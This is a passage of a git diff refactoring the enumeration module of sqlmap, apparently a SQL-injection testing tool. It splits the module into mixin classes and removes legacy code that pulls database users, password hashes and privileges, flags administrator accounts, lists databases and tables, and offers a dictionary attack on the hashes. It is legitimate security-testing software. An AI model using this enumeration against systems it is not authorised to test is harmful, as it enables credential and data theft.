unsafeSQLIdentificatorNaming(db) + + message += "[q]uit" + choice = readInput(message, default='a') + + if not choice or choice in ('a', 'A'): + dumpFromDbs = list(dbs.keys()) + elif choice in ('q', 'Q'): + return + else: + dumpFromDbs = choice.replace(" ", "").split(',') + + for db, tblData in dbs.items(): + if db not in dumpFromDbs or not tblData: + continue + + conf.db = db + dumpFromTbls = [] + message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) + message += "[a]ll (default)\n" + + for tbl in tblData: + message += "[%s]\n" % tbl + + message += "[s]kip\n" + message += "[q]uit" + choice = readInput(message, default='a') + + if not choice or choice in ('a', 'A'): + dumpFromTbls = tblData + elif choice in ('s', 'S'): + continue + elif choice in ('q', 'Q'): + return + else: + dumpFromTbls = choice.replace(" ", "").split(',') + + for table, columns in tblData.items(): + if table not in dumpFromTbls: + continue + + conf.tbl = table + colList = [_ for _ in columns if _] + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + conf.col = ','.join(colList) + kb.data.cachedColumns = {} + kb.data.dumpedTable = {} + + data = self.dumpTable(dbs) + + if data: + conf.dumper.dbTableValues(data) + + def dumpFoundTables(self, tables): + message = "do you want to dump found table(s) entries? [Y/n] " + + if not readInput(message, default='Y', boolean=True): + return + + dumpFromDbs = [] + message = "which database(s)?\n[a]ll (default)\n" + + for db, tablesList in tables.items(): + if tablesList: + message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) + + message += "[q]uit" + choice = readInput(message, default='a') + + if not choice or choice.lower() == 'a': + dumpFromDbs = list(tables.keys()) + elif choice.lower() == 'q': + return + else: + dumpFromDbs = choice.replace(" ", "").split(',') + + for db, tablesList in tables.items(): + if db not in dumpFromDbs or not tablesList: + continue + + conf.db = db + dumpFromTbls = [] + message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) + message += "[a]ll (default)\n" + + for tbl in tablesList: + message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl) + + message += "[s]kip\n" + message += "[q]uit" + choice = readInput(message, default='a') + + if not choice or choice.lower() == 'a': + dumpFromTbls = tablesList + elif choice.lower() == 's': + continue + elif choice.lower() == 'q': + return + else: + dumpFromTbls = choice.replace(" ", "").split(',') + + for table in dumpFromTbls: + conf.tbl = table + kb.data.cachedColumns = {} + kb.data.dumpedTable = {} + + data = self.dumpTable() + + if data: + conf.dumper.dbTableValues(data) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index c1cd0a76693..a410816f6e2 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,77 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import re - -from extra.safe2bin.safe2bin import safechardecode -from lib.core.agent import agent -from lib.core.bigarray import BigArray -from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import clearConsoleLine -from lib.core.common import dataToStdout -from lib.core.common import filterPairValues -from lib.core.common import getLimitRange -from lib.core.common import getUnicode -from lib.core.common import isInferenceAvailable -from lib.core.common import isListLike -from lib.core.common import isNoneValue -from lib.core.common import isNumPosStrValue -from lib.core.common import isTechniqueAvailable -from lib.core.common import parsePasswordHash -from lib.core.common import parseSqliteTableSchema -from lib.core.common import popValue -from lib.core.common import prioritySortColumns -from lib.core.common import pushValue -from lib.core.common import randomStr -from lib.core.common import readInput -from lib.core.common import safeSQLIdentificatorNaming -from lib.core.common import singleTimeWarnMessage -from lib.core.common import strToHex from lib.core.common import unArrayizeValue -from lib.core.common import unsafeSQLIdentificatorNaming -from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.data import paths from lib.core.data import queries -from lib.core.dicts import firebirdTypes -from lib.core.dicts import mysqlPrivs -from lib.core.dicts import pgsqlPrivs -from lib.core.dicts import firebirdPrivs -from lib.core.dicts import db2Privs -from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.exception import sqlmapUserQuitException from lib.core.session import setOs -from lib.core.settings import BLANK -from lib.core.settings import CONCAT_ROW_DELIMITER -from lib.core.settings import CONCAT_VALUE_DELIMITER -from lib.core.settings import CURRENT_DB -from lib.core.settings import MAX_INT -from lib.core.settings import NULL -from lib.core.settings import SQL_STATEMENTS -from lib.core.shell import autoCompletion -from lib.core.threads import getCurrentThreadData from lib.parse.banner import bannerParser from lib.request import inject -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists -from lib.utils.hash import attackDumpedTable -from lib.utils.hash import attackCachedUsersPasswords +from plugins.generic.custom import Custom +from plugins.generic.databases import Databases +from plugins.generic.entries import Entries +from plugins.generic.search import Search +from plugins.generic.users import Users -class Enumeration: +class Enumeration(Custom, Databases, Entries, Search, Users): """ This class defines generic enumeration functionalities for plugins. """ @@ -79,19 +29,15 @@ class Enumeration: def __init__(self): kb.data.has_information_schema = False kb.data.banner = None - kb.data.currentUser = "" - kb.data.currentDb = "" - kb.data.cachedUsers = [] - kb.data.cachedUsersPasswords = {} - kb.data.cachedUsersPrivileges = {} - kb.data.cachedUsersRoles = {} - kb.data.cachedDbs = [] - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.data.cachedCounts = {} - kb.data.dumpedTable = {} + kb.data.hostname = "" kb.data.processChar = None + Custom.__init__(self) + Databases.__init__(self) + Entries.__init__(self) + Search.__init__(self) + Users.__init__(self) + def getBanner(self): if not conf.getBanner: return @@ -126,2340 +72,13 @@ def getBanner(self): return kb.data.banner - def getCurrentUser(self): - infoMsg = "fetching current user" - logger.info(infoMsg) - - query = queries[Backend.getIdentifiedDbms()].current_user.query - - if not kb.data.currentUser: - kb.data.currentUser = unArrayizeValue(inject.getValue(query)) - - return kb.data.currentUser - - def getCurrentDb(self): - infoMsg = "fetching current database" - logger.info(infoMsg) - - query = queries[Backend.getIdentifiedDbms()].current_db.query - - if not kb.data.currentDb: - kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - - return kb.data.currentDb - - def isDba(self, user=None): - infoMsg = "testing if current user is DBA" - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MYSQL): - self.getCurrentUser() - query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: - query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user - else: - query = queries[Backend.getIdentifiedDbms()].is_dba.query - - query = agent.forgeCaseStatement(query) - kb.data.isDba = unArrayizeValue(inject.getValue(query, charsetType=CHARSET_TYPE.BINARY)) - - return kb.data.isDba == "1" - - def getUsers(self): - infoMsg = "fetching database users" - logger.info(infoMsg) - - rootQuery = queries[Backend.getIdentifiedDbms()].users - - condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) - condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - if condition: - query = rootQuery.inband.query2 - else: - query = rootQuery.inband.query - value = inject.getValue(query, blind=False) - - if not isNoneValue(value): - kb.data.cachedUsers = arrayizeValue(value) - - if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: - infoMsg = "fetching number of database users" - logger.info(infoMsg) - - if condition: - query = rootQuery.blind.count2 - else: - query = rootQuery.blind.count - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - errMsg = "unable to retrieve the number of database users" - raise sqlmapNoneDataException, errMsg - - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) - - for index in indexRange: - if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): - query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") - elif condition: - query = rootQuery.blind.query2 % index - else: - query = rootQuery.blind.query % index - user = inject.getValue(query, inband=False, error=False) - - if user: - kb.data.cachedUsers.append(user) - - if not kb.data.cachedUsers: - errMsg = "unable to retrieve the database users" - raise sqlmapNoneDataException, errMsg - - return kb.data.cachedUsers - - def getPasswordHashes(self): - infoMsg = "fetching database users password hashes" - - rootQuery = queries[Backend.getIdentifiedDbms()].passwords - - if conf.user == "CU": - infoMsg += " for current user" - conf.user = self.getCurrentUser() - - logger.info(infoMsg) - - if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.user = conf.user.upper() - - if conf.user: - users = conf.user.split(",") - - if Backend.isDbms(DBMS.MYSQL): - for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) - - if parsedUser: - users[users.index(user)] = parsedUser.groups()[0] - else: - users = [] - - users = filter(None, users) - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.inband.query2 - else: - query = rootQuery.inband.query - - condition = rootQuery.inband.condition - - if conf.user: - query += " WHERE " - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) - - if Backend.isDbms(DBMS.SYBASE): - randStr = randomStr() - getCurrentThreadData().disableStdOut = True - - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) - - if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): - # password = "0x%s" % strToHex(password) - if not kb.data.cachedUsersPasswords.has_key(user): - kb.data.cachedUsersPasswords[user] = [password] - else: - kb.data.cachedUsersPasswords[user].append(password) - - getCurrentThreadData().disableStdOut = False - else: - value = inject.getValue(query, blind=False) - - for user, password in filterPairValues(value): - if not user or user == " ": - continue - - password = parsePasswordHash(password) - - if user not in kb.data.cachedUsersPasswords: - kb.data.cachedUsersPasswords[user] = [password] - else: - kb.data.cachedUsersPasswords[user].append(password) - - if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: - if not len(users): - users = self.getUsers() - - if Backend.isDbms(DBMS.MYSQL): - for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) - - if parsedUser: - users[users.index(user)] = parsedUser.groups()[0] - - if Backend.isDbms(DBMS.SYBASE): - getCurrentThreadData().disableStdOut = True - - randStr = randomStr() - query = rootQuery.inband.query - - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) - - if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): - password = "0x%s" % strToHex(password) - - if not kb.data.cachedUsersPasswords.has_key(user): - kb.data.cachedUsersPasswords[user] = [password] - else: - kb.data.cachedUsersPasswords[user].append(password) - - getCurrentThreadData().disableStdOut = False - else: - retrievedUsers = set() - - for user in users: - if user in retrievedUsers: - continue - - infoMsg = "fetching number of password hashes " - infoMsg += "for user '%s'" % user - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.blind.count2 % user - else: - query = rootQuery.blind.count % user - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "unable to retrieve the number of password " - warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) - continue - - infoMsg = "fetching password hashes for user '%s'" % user - logger.info(infoMsg) - - passwords = [] - - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) - - for index in indexRange: - if Backend.isDbms(DBMS.MSSQL): - if Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.blind.query2 % (user, index, user) - else: - query = rootQuery.blind.query % (user, index, user) - else: - query = rootQuery.blind.query % (user, index) - password = inject.getValue(query, inband=False, error=False) - password = parsePasswordHash(password) - passwords.append(password) - - if passwords: - kb.data.cachedUsersPasswords[user] = passwords - else: - warnMsg = "unable to retrieve the password " - warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) - - retrievedUsers.add(user) - - if not kb.data.cachedUsersPasswords: - errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (most probably because the session " - errMsg += "user has no read privileges over the relevant " - errMsg += "system database table)" - raise sqlmapNoneDataException, errMsg - - message = "do you want to perform a dictionary-based attack " - message += "against retrieved password hashes? [Y/n/q]" - test = readInput(message, default="Y") - - if test[0] in ("n", "N"): - pass - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException - else: - attackCachedUsersPasswords() - - return kb.data.cachedUsersPasswords - - def __isAdminFromPrivileges(self, privileges): - # In PostgreSQL the usesuper privilege means that the - # user is DBA - dbaCondition = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) - - # In Oracle the DBA privilege means that the - # user is DBA - dbaCondition |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges) - - # In MySQL >= 5.0 the SUPER privilege means - # that the user is DBA - dbaCondition |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges) - - # In MySQL < 5.0 the super_priv privilege means - # that the user is DBA - dbaCondition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges) - - # In Firebird there is no specific privilege that means - # that the user is DBA - # TODO: confirm - dbaCondition |= (Backend.isDbms(DBMS.FIREBIRD) and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges) - - return dbaCondition - - def getPrivileges(self, query2=False): - infoMsg = "fetching database users privileges" - - rootQuery = queries[Backend.getIdentifiedDbms()].privileges - - if conf.user == "CU": - infoMsg += " for current user" - conf.user = self.getCurrentUser() - - logger.info(infoMsg) - - if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.user = conf.user.upper() - - if conf.user: - users = conf.user.split(",") - - if Backend.isDbms(DBMS.MYSQL): - for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) - - if parsedUser: - users[users.index(user)] = parsedUser.groups()[0] - else: - users = [] - - users = filter(None, users) - - # Set containing the list of DBMS administrators - areAdmins = set() - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.inband.query2 - condition = rootQuery.inband.condition2 - elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.inband.query2 - condition = rootQuery.inband.condition2 - else: - query = rootQuery.inband.query - condition = rootQuery.inband.condition - - if conf.user: - query += " WHERE " - - if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) - else: - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) - - values = inject.getValue(query, blind=False) - - if not values and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" - logger.info(infoMsg) - - return self.getPrivileges(query2=True) - - if not isNoneValue(values): - for value in values: - user = None - privileges = set() - - for count in xrange(0, len(value)): - # The first column is always the username - if count == 0: - user = value[count] - - # The other columns are the privileges - else: - privilege = value[count] - - # In PostgreSQL we get 1 if the privilege is - # True, 0 otherwise - if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): - if int(privilege) == 1: - privileges.add(pgsqlPrivs[count]) - - # In MySQL >= 5.0 and Oracle we get the list - # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): - privileges.add(privilege) - - # In MySQL < 5.0 we get Y if the privilege is - # True, N otherwise - elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - if privilege.upper() == "Y": - privileges.add(mysqlPrivs[count]) - - # In DB2 we get Y or G if the privilege is - # True, N otherwise - elif Backend.isDbms(DBMS.DB2): - privs = privilege.split(",") - privilege = privs[0] - privs = privs[1] - privs = list(privs.strip()) - i = 1 - - for priv in privs: - if priv.upper() in ("Y", "G"): - for position, db2Priv in db2Privs.items(): - if position == i: - privilege += ", " + db2Priv - - i += 1 - - privileges.add(privilege) - - if self.__isAdminFromPrivileges(privileges): - areAdmins.add(user) - - if user in kb.data.cachedUsersPrivileges: - kb.data.cachedUsersPrivileges[user].extend(privileges) - else: - kb.data.cachedUsersPrivileges[user] = list(privileges) - - if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: - if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - conditionChar = " LIKE " - else: - conditionChar = "=" - - if not len(users): - users = self.getUsers() - - if Backend.isDbms(DBMS.MYSQL): - for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) - - if parsedUser: - users[users.index(user)] = parsedUser.groups()[0] - - retrievedUsers = set() - - for user in users: - if user in retrievedUsers: - continue - - if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - user = "%%%s%%" % user - - infoMsg = "fetching number of privileges " - infoMsg += "for user '%s'" % user - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.count2 % user - elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query = rootQuery.blind.count % (conditionChar, user) - elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.blind.count2 % user - else: - query = rootQuery.blind.count % user - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - if Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" - logger.info(infoMsg) - - return self.getPrivileges(query2=True) - - warnMsg = "unable to retrieve the number of " - warnMsg += "privileges for user '%s'" % user - logger.warn(warnMsg) - continue - - infoMsg = "fetching privileges for user '%s'" % user - logger.info(infoMsg) - - privileges = set() - - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) - - for index in indexRange: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.query2 % (user, index) - elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query = rootQuery.blind.query % (conditionChar, user, index) - elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.blind.query2 % (user, index) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, user) - else: - query = rootQuery.blind.query % (user, index) - privilege = inject.getValue(query, inband=False, error=False) - - # In PostgreSQL we get 1 if the privilege is True, - # 0 otherwise - if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: - privilege = privilege.replace(", ", ",") - privs = privilege.split(",") - i = 1 - - for priv in privs: - if priv.isdigit() and int(priv) == 1: - for position, pgsqlPriv in pgsqlPrivs.items(): - if position == i: - privileges.add(pgsqlPriv) - - i += 1 - - # In MySQL >= 5.0 and Oracle we get the list - # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): - privileges.add(privilege) - - # In MySQL < 5.0 we get Y if the privilege is - # True, N otherwise - elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - privilege = privilege.replace(", ", ",") - privs = privilege.split(",") - i = 1 - - for priv in privs: - if priv.upper() == "Y": - for position, mysqlPriv in mysqlPrivs.items(): - if position == i: - privileges.add(mysqlPriv) - - i += 1 - - # In Firebird we get one letter for each privilege - elif Backend.isDbms(DBMS.FIREBIRD): - privileges.add(firebirdPrivs[privilege.strip()]) - - # In DB2 we get Y or G if the privilege is - # True, N otherwise - elif Backend.isDbms(DBMS.DB2): - privs = privilege.split(",") - privilege = privs[0] - privs = privs[1] - privs = list(privs.strip()) - i = 1 - - for priv in privs: - if priv.upper() in ("Y", "G"): - for position, db2Priv in db2Privs.items(): - if position == i: - privilege += ", " + db2Priv - - i += 1 - - privileges.add(privilege) - - if self.__isAdminFromPrivileges(privileges): - areAdmins.add(user) - - # In MySQL < 5.0 we break the cycle after the first - # time we get the user's privileges otherwise we - # duplicate the same query - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - break - - if privileges: - kb.data.cachedUsersPrivileges[user] = list(privileges) - else: - warnMsg = "unable to retrieve the privileges " - warnMsg += "for user '%s'" % user - logger.warn(warnMsg) - - retrievedUsers.add(user) - - if not kb.data.cachedUsersPrivileges: - errMsg = "unable to retrieve the privileges " - errMsg += "for the database users" - raise sqlmapNoneDataException, errMsg - - return (kb.data.cachedUsersPrivileges, areAdmins) - - def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() - warnMsg += "exist. sqlmap will enumerate privileges instead" - logger.warn(warnMsg) - - return self.getPrivileges(query2) - - def getDbs(self): - if len(kb.data.cachedDbs) > 0: - return kb.data.cachedDbs - - infoMsg = None - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - warnMsg = "information_schema not available, " - warnMsg += "back-end DBMS is MySQL < 5. database " - warnMsg += "names will be fetched from 'mysql' database" - logger.warn(warnMsg) - - elif Backend.isDbms(DBMS.ORACLE): - warnMsg = "schema names are going to be used on Oracle " - warnMsg += "for enumeration as the counterpart to database " - warnMsg += "names on other DBMSes" - logger.warn(warnMsg) - - infoMsg = "fetching database (schema) names" - elif Backend.isDbms(DBMS.DB2): - warnMsg = "schema names are going to be used on IBM DB2 " - warnMsg += "for enumeration as the counterpart to database " - warnMsg += "names on other DBMSes" - logger.warn(warnMsg) - - infoMsg = "fetching database (schema) names" - else: - infoMsg = "fetching database names" - - if infoMsg: - logger.info(infoMsg) - - rootQuery = queries[Backend.getIdentifiedDbms()].dbs - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.inband.query2 - else: - query = rootQuery.inband.query - value = inject.getValue(query, blind=False) - - if not isNoneValue(value): - kb.data.cachedDbs = arrayizeValue(value) - - if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: - infoMsg = "fetching number of databases" - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.count2 - else: - query = rootQuery.blind.count - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - errMsg = "unable to retrieve the number of databases" - logger.error(errMsg) - else: - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) - - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") - elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.query2 % index - else: - query = rootQuery.blind.query % index - db = inject.getValue(query, inband=False, error=False) - - if db: - kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) - - if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - blinds = (False, True) - else: - blinds = (True,) - - for blind in blinds: - count = 0 - kb.data.cachedDbs = [] - while True: - query = rootQuery.inband.query2 % count - value = inject.getValue(query, blind=blind) - if not value: - break - else: - kb.data.cachedDbs.append(unArrayizeValue(value)) - count += 1 - if kb.data.cachedDbs: - break - - if not kb.data.cachedDbs: - infoMsg = "falling back to current database" - logger.info(infoMsg) - self.getCurrentDb() - - if kb.data.currentDb: - kb.data.cachedDbs = [kb.data.currentDb] - else: - errMsg = "unable to retrieve the database names" - raise sqlmapNoneDataException, errMsg - else: - kb.data.cachedDbs.sort() - - return kb.data.cachedDbs - - def getTables(self, bruteForce=None): - if len(kb.data.cachedTables) > 0: - return kb.data.cachedTables - - self.forceDbmsEnum() - - if bruteForce is None: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) - bruteForce = True - - elif Backend.isDbms(DBMS.ACCESS): - try: - tables = self.getTables(False) - except sqlmapNoneDataException: - tables = None - - if not tables: - errMsg = "cannot retrieve table names, " - errMsg += "back-end DBMS is Access" - logger.error(errMsg) - bruteForce = True - else: - return tables - - if conf.db == CURRENT_DB: - conf.db = self.getCurrentDb() - - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.db = conf.db.upper() - - if conf.db: - dbs = conf.db.split(",") - else: - dbs = self.getDbs() - - for db in dbs: - dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - - dbs = filter(None, dbs) - - if bruteForce: - resumeAvailable = False - - for db, table in kb.brute.tables: - if db == conf.db: - resumeAvailable = True - break - - if resumeAvailable: - for db, table in kb.brute.tables: - if db == conf.db: - if conf.db not in kb.data.cachedTables: - kb.data.cachedTables[conf.db] = [table] - else: - kb.data.cachedTables[conf.db].append(table) - - return kb.data.cachedTables - - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") - - if test[0] in ("n", "N"): - return - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException - else: - return tableExists(paths.COMMON_TABLES) - - infoMsg = "fetching tables for database" - infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + def getHostname(self): + infoMsg = "fetching server hostname" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].tables - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - query = rootQuery.inband.query - condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None - - if condition: - if conf.excludeSysDbs: - query += " WHERE " - query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg) - elif not Backend.isDbms(DBMS.SQLITE): - query += " WHERE " - query += " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in sorted(dbs)) - - if len(dbs) < 2 and ("%s," % condition) in query: - query = query.replace("%s," % condition, "", 1) - - value = inject.getValue(query, blind=False) - - if not isNoneValue(value): - value = filter(None, arrayizeValue(value)) - - if len(value) > 0 and not isListLike(value[0]): - value = map(lambda x: (dbs[0], x), value) - - for db, table in filterPairValues(value): - db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(table, True) - - if db not in kb.data.cachedTables: - kb.data.cachedTables[db] = [table] - else: - kb.data.cachedTables[db].append(table) - - if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: - for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: - infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) - - continue - - infoMsg = "fetching number of tables for " - infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) - - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): - query = rootQuery.blind.count - else: - query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - warnMsg = "unable to retrieve the number of " - warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) - continue - - tables = [] - - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) - - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): - query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = rootQuery.blind.query % index - else: - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) - - table = inject.getValue(query, inband=False, error=False) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) - - if tables: - 